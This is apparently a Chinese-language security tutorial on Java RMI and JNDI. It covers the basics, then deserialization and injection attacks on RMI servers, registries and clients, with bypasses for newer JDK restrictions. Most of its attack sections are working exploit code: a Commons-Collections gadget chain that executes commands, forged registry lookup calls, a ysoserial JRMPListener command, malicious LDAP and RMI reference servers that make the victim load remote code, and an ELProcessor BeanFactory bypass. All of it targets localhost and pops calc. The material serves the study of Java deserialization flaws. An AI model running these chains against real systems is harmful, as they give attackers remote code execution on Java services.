Java RMI与JNDI安全研究
1. RMI基础
1.1 RMI概述
RMI(Remote Method Invocation)即远程方法调用,允许一个JVM中的Java程序调用另一台远程JVM中运行的Java程序。RMI架构包含三个核心组件:
- Server(服务端):绑定远程对象
- Registry(注册中心):提供服务注册与服务获取
- Client(客户端):调用服务端的方法
1.2 RMI运行流程
- Server在Registry端bind即将被调用的远程对象
- Client根据rmi://连接到Registry,查找所需对象
- 如果存在,Registry返回Server端的rmi://地址和端口
- Client根据地址和端口连接Server端,调用远程对象上的方法
- Server执行远程对象的方法,将结果返回给Client
1.3 RMI开发示例
1.3.1 接口定义
public interface Remoteobj extends Remote {
public String SayHello(String key) throws RemoteException;
}
要求:
- 远程接口作用域必须为public
- 必须继承Remote接口
- 接口方法必须抛出RemoteException异常
1.3.2 接口实现类
public class RemoteObjImpl extends UnicastRemoteObject implements Remoteobj {
public RemoteObjImpl() throws RemoteException {}
@Override
public String SayHello(String key) throws RemoteException {
System.out.println(key);
return key;
}
}
要求:
- 实现远程接口
- 继承UnicastRemoteObject类(用于生成Stub和Skeleton)
- 构造函数需要抛出RemoteException
- 实现类中使用的对象必须都可序列化(继承java.io.Serializable)
1.3.3 注册远程对象
public class RMIServer {
public static void main(String[] args) throws Exception {
Remoteobj remoteobj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("qwq", remoteobj);
}
}
1.3.4 客户端调用
public class RMIClient {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remoteobj remoteobj = (Remoteobj) registry.lookup("qwq");
String res = remoteobj.SayHello("test");
System.out.println(res);
}
}
2. RMI安全漏洞
2.1 攻击服务端
攻击原理:
当客户端获取到服务端创建的Stub后,会在本地调用这个Stub并传递参数,Stub会序列化这个参数并传递给Server端。如果参数是Object类型,Client可以传给Server端任意的类,可能导致反序列化漏洞。
攻击条件:
- JDK版本1.7
- 使用有漏洞的Commons-Collections 3.1组件
- RMI提供的数据有Object类型
漏洞服务端示例:
public class AttackServer {
public class RemoteHelloWorld extends UnicastRemoteObject implements Remoteobj {
protected RemoteHelloWorld() throws RemoteException { super(); }
@Override
public String SayHello(String key) throws RemoteException {
System.out.println("调用了SayHello");
return null;
}
public void evil(Object obj) throws RemoteException {
System.out.println("调用了evil方法,传递对象为:" + obj);
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new AttackServer().start();
}
}
攻击客户端示例:
public class RMIClient {
public static void main(String args[]) throws Exception {
Remoteobj r = (Remoteobj) Naming.lookup("rmi://127.0.0.1:1099/Hello");
r.evil(getpayload());
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
2.2 利用codebase执行命令
codebase概念:
java.rmi.server.codebase是一个地址,告诉JVM应该从哪个地方去搜索类,类似于CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL(如http、ftp)。
加载远程类条件:
- 需要安装RMISecurityManager并配置java.security.policy
- 属性java.rmi.server.useCodebaseOnly的值必须为false
限制:
JDK 6u45、7u21之后,java.rmi.server.useCodebaseOnly默认为true,无法自动加载远程类文件。
2.3 攻击注册中心
注册中心与客户端交互的方法:
- list
- bind
- rebind
- unbind
- lookup
这些方法位于RegistryImpl_Skel#dispatch中,如果对传入的对象调用readObject()方法,则可能被利用。
2.3.1 bind/rebind攻击
public class AtttackRegistry {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
InvocationHandler handler = (InvocationHandler) getpayload();
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(), new Class[]{Remote.class}, handler));
registry.bind("test", r);
}
public static Object getpayload() throws Exception {
// 同上CC1 payload构造
}
}
2.3.2 lookup攻击
public class AttackLookup {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
InvocationHandler handler = (InvocationHandler) getpayload();
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(), new Class[]{Remote.class}, handler));
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
// CC1 payload构造同上
}
2.4 攻击客户端
2.4.1 注册中心攻击客户端
使用工具生成恶意数据作为注册中心:
java -cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 calc
客户端代码:
public class Client {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry.list();
}
}
2.4.2 服务端攻击客户端
方法1:服务端返回Object对象
// 服务端
public class UserServer extends UnicastRemoteObject implements User {
protected UserServer() throws RemoteException { super(); }
@Override
public Object getUser() throws Exception {
// 构造恶意Object对象
return instance;
}
}
// 客户端
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
User user = (User) registry.lookup("qwq");
user.getUser(); // 触发反序列化
}
}
方法2:远程加载对象(同codebase攻击)
3. JNDI基础
3.1 JNDI概述
JNDI(Java Naming and Directory Interface)即Java名称与目录接口,可以理解为名字到对象的绑定。JNDI包含四个服务:
- LDAP:轻量级目录访问协议
- CORBA:通用对象请求代理架构
- RMI:Java远程方法调用
- DNS:域名服务
3.2 JNDI核心类
-
InitialContext:初始上下文
- bind():将名称绑定到对象
- list():枚举绑定的名称
- lookup():检索命名对象
- rebind():重新绑定名称到对象
- unbind():取消绑定
-
Reference:表示在命名/目录系统外部找到的对象的引用
3.3 JNDI代码示例
3.3.1 JNDI结合RMI
// 服务端
public class RMIServer {
public class RMIHello extends UnicastRemoteObject implements IHello {
protected RMIHello() throws RemoteException { super(); }
@Override
public String sayHello(String name) throws RemoteException {
System.out.println("Hello World!");
return name;
}
}
private void register() throws Exception {
RMIHello rmiHello = new RMIHello();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/hello", rmiHello);
}
}
// 客户端
public class JndiTest {
public static void main(String[] args) throws NamingException, RemoteException {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext initialContext = new InitialContext(env);
IHello iHello =(IHello) initialContext.lookup("hello");
System.out.println(iHello.sayHello("quan9i"));
}
}
3.3.2 JNDI结合DNS
public class DNSClient {
public static void main(String[] args) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
try {
DirContext ctx = new InitialDirContext(env);
Attributes res = ctx.getAttributes("quan9i.top", new String[]{"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
4. JNDI注入漏洞
4.1 JNDI+RMI注入
攻击代码:
// 服务端
public class RMI_Server_Reference {
void register() throws Exception {
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMIHello", "RMIHello", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/hello", refObjWrapper);
}
}
// 恶意类
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
public RMIHello() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
return null;
}
}
// 客户端
public class RMI_Client {
public static void main(String[] args) throws Exception {
String string = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
修复:
JDK 8u121中修复,lookup()方法被设置为只可以对本地进行调用。
4.2 JNDI+LDAP注入
攻击代码:
// 服务端
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] tmp_args) {
String[] args = new String[]{"http://127.0.0.1/#EvilObject"};
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) { this.codebase = cb; }
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
// 客户端
public class RMI_Client {
public static void main(String[] args) throws Exception {
String string = "ldap://localhost:1234/remoteObj";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
高版本限制:
JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase默认为false。
4.3 绕过高版本JDK限制
4.3.1 使用本地Reference Factory类
条件:
- 恶意Factory类必须实现javax.naming.spi.ObjectFactory接口
- 实现getObjectInstance()方法
攻击示例:
// 服务端
public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Object", referenceWrapper);
}
}
// 客户端
public class RMI_Client {
public static void main(String[] args) throws Exception {
String string = "rmi://localhost:1099/Object";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
4.3.2 LDAP反序列化攻击
使用序列化payload替换javaSerializeData属性:
// 服务端
public class LDAP_Server_ByPass_Serialize {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] tmp_args) {
String[] args = new String[]{"http://127.0.0.1/#EXP"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws Exception {
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXN..."));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
// 客户端
public class JNDIGadgetClient {
public static void main(String[] args) throws Exception {
Context context = new InitialContext();
context.lookup("ldap://localhost:9999/EXP");
}
}